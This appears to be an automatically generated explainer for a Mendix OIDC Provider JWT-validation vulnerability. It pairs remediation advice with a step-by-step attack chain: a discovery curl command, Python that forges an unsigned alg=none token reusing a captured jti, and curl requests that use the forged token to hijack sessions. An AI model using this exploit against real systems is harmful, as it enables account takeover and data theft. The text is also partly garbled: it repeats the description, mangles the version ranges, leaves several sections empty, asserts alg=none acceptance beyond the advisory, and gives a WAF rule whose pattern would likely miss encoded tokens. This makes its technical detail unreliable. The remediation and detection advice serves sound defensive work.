CVE-2026-124981 — Siemens Mendix OIDC Provider — CWE-347
A vulnerability has been identified in Mendix OIDC Provider (Mendix 10 compatible) (All versions < V6.0.0), Mendix OIDC Provider (Mendix 11 compatible) (All versions < V6.0.0), Mendix OIDC Provider (Mendix 9 compatible) (All versions < V4.3.0). Affected versions of the module do not properly validate the integrity of JWTs submitted to the OIDC Provider Token Introspection endpoint, allowing tokens to be associated with legitimate token records based solely on their jti value. This could allow unauthenticated remote attackers to hijack an account (session) when gaining access to an jti of an active token.
A vulnerability has been identified in Mendix OIDC Provider (Mendix 10 compatible) (All versions < V6.0.0), Mendix OIDC Provider (Mendix 11 compatible) (All versions < V6.0.0), Mendix OIDC Provider (Mendix 9 compatible) (All versions < V4.3.0). Affected versions of the module do not properly validate the integrity of JWTs submitted to the OIDC Provider Token Introspection endpoint, allowing tokens to be associated with legitimate token records based solely on their jti value. This could allow unauthenticated remote attackers to hijack an account (session) when gaining access to an jti of an active token.
🎯 What is this vulnerability?
Technical flaw
The Mendix OIDC Provider’s Token Introspection endpoint is supposed to verify that a submitted JWT is authentic before it is matched to a stored token record. In the affected versions (Mendix 10‑compatible V6.0.0‑<, Mendix 11‑compatible V6.0.0‑<, Mendix 9‑compatible V4.3.0‑<) the endpoint performs only a lookup by the jti claim. It does not:
1. Verify the JWT’s cryptographic signature (CWE‑347 – Improper Validation of a Cryptographic Signature).
2. Check the iss, aud, exp, or nbf claims.
3. Validate that the token’s payload matches the stored record.
Because of this, any JWT that contains a jti value that exists in the provider’s database will be treated as a valid, active token regardless of its signature or other claims. An attacker can therefore forge a JWT with the same jti as an active session and hijack that session.
Impact
- Confidentiality – The attacker can read any data the hijacked user can access.
- Integrity – The attacker can modify data or perform actions on behalf of the user.
- Availability – Not directly affected (A:N in the CVSS vector).
⚡ Attack Chain
Note: The exact URI of the introspection endpoint is not disclosed in the CVE text. The example below uses the standard OIDC path /introspect for illustration. If the real endpoint differs, adjust the path accordingly.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1 | Service fingerprinting | Scan the target domain for OIDC endpoints (/.well-known/openid-configuration). A typical response will include token_endpoint and introspection_endpoint. |
| 2 | Version detection | Inspect HTTP headers or the /.well-known/openid-configuration JSON for a software_version field or a custom header like X-Mendix-Provider-Version. |
| 3 | Token capture | If the target is a web application using the provider, capture a valid access token from the browser (e.g., via document.cookie or localStorage). The token will contain the jti claim. |
Example reconnaissance command
# Grab the OIDC discovery document
curl -s https://<target>/oidc/.well-known/openid-configuration | jq .If the JSON contains "software_version": "V5.9.2" (or any value < V6.0.0 for Mendix 10/11, < V4.3.0 for Mendix 9), the target is vulnerable.
2. Exploitation
2.1 Craft a forged JWT
The attacker can create a JWT that:
alg header set to none (no signature required). jti as a captured active token. exp to a future timestamp (so the token appears fresh). sub, aud, etc., to plausible values.Python example (no external libraries)
import base64, json, time
def b64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
# Header
header = {"alg":"none","typ":"JWT"}
header_b64 = b64url_encode(json.dumps(header).encode())
# Payload – replace <VALID_JTI> with the captured jti
payload = {
"jti": "<VALID_JTI>",
"sub": "[email protected]",
"aud": "client-id",
"exp": int(time.time()) + 3600, # 1 hour from now
"iat": int(time.time())
}
payload_b64 = b64url_encode(json.dumps(payload).encode())
# No signature
jwt = f"{header_b64}.{payload_b64}."
print(jwt)The output is a JWT that the provider will accept because it only checks the jti.
2.2 Send the forged JWT to the introspection endpoint
curl -X POST https://<target>/oidc/introspect \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "token=<FORGED_JWT>"Expected response (illustrative)
{
"active": true,
"sub": "[email protected]",
"aud": "client-id",
"exp": 1701234567,
"iat": 1701230967,
"jti": "<VALID_JTI>"
}Because the provider does not validate the signature, it returns active:true and the claims from the forged token.
2.3 Use the forged token as a bearer token
With the forged JWT now considered valid, the attacker can call any protected API endpoint that accepts the token:
curl -H "Authorization: Bearer <FORGED_JWT>" \
https://<target>/api/secure/resourceThe provider will treat the request as coming from the legitimate user.
3. Post‑Exploitation
| Goal | How it’s achieved |
|---|---|
| Session hijacking | The attacker can now act as the victim for the duration of the token’s validity. |
| Privilege escalation | If the victim has elevated roles (e.g., admin), the attacker inherits those privileges. |
| Data exfiltration | The attacker can read sensitive data via the API or web UI. |
| Data modification | The attacker can create, update, or delete resources. |
| Persistence | The attacker can create new tokens (if the provider allows token issuance) or set up a back‑door account. |
Because the vulnerability is purely authentication‑related, it does not provide remote code execution or direct server compromise, but it gives the attacker full access to the victim’s session.
🌍 Real World Impact
| Impact | CVSS Vector | Explanation |
|---|---|---|
| Confidentiality | C:H | The attacker can read any data the hijacked user can access. |
| Integrity | I:H | The attacker can modify data or perform actions on behalf of the user. |
| Availability | A:N | No direct impact on service availability. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Product | Affected Versions | Upgrade Recommendation |
|---|---|---|
| Mendix OIDC Provider (Mendix 10 compatible) | < V6.0.0 | Upgrade to V6.0.0 or later. |
| Mendix OIDC Provider (Mendix 11 compatible) | < V6.0.0 | Upgrade to V6.0.0 or later. |
| Mendix OIDC Provider (Mendix 9 compatible) | < V4.3.0 | Upgrade to V4.3.0 or later. |
The patched versions add proper JWT signature verification and claim validation to the introspection endpoint.
2. Workarounds (if patching is not immediately possible)
| Mitigation | How to implement | Notes |
|---|---|---|
| Restrict introspection endpoint to internal network | Configure the web server (NGINX/Apache) or reverse proxy to allow /introspect only from trusted IP ranges. | Prevents external attackers from sending forged tokens. |
| Require client authentication for introspection | Enforce HTTP Basic Auth or mutual TLS on the introspection endpoint. | Even if a forged JWT is sent, the request will be rejected unless the client presents valid credentials. |
| Proxy JWT validation | Place a lightweight JWT‑validation proxy (e.g., jwks-rsa in Node.js) in front of the provider that verifies the signature before forwarding the request. | Adds an extra validation layer without modifying the provider. |
| Disable introspection endpoint | If the application never uses introspection, remove or disable the endpoint entirely. | Avoids the attack surface. |
3. Detection
| Indicator | Log pattern | How to spot it |
|---|---|---|
Repeated introspection requests with the same jti but different payloads | POST /introspect with token=<JWT> where the decoded payload shows varying sub or aud but identical jti. | Use a log parser to decode JWTs or inspect the raw token parameter. |
Unexpected active:true responses for tokens that should be expired | Response JSON contains "active":true for a token with exp in the past. | Correlate with token issuance logs. |
| High volume of introspection requests from a single IP | Multiple POST /introspect in a short period. | Rate‑limit or block the IP. |
Sample WAF rule (ModSecurity) – block introspection requests that contain alg=none in the JWT header:
SecRule REQUEST_URI "@beginsWith /oidc/introspect" \
"phase:2,chain,block,msg:'Block JWTs with alg=none'"
SecRule REQUEST_BODY "@rx \"\\{\"alg\":\"none\"\\}\"" \
"chain"
SecRule REQUEST_HEADERS:Content-Type "application/x-www-form-urlencoded" \
"t:none,t:urlDecodeUni"Caution: This rule only blocks the alg=none case; it does not fix the underlying flaw.⚠️ Urgency
jti and the ability to send requests to the introspection endpoint). [🤖 CVE Professor AI Security Engine]
FOFA Query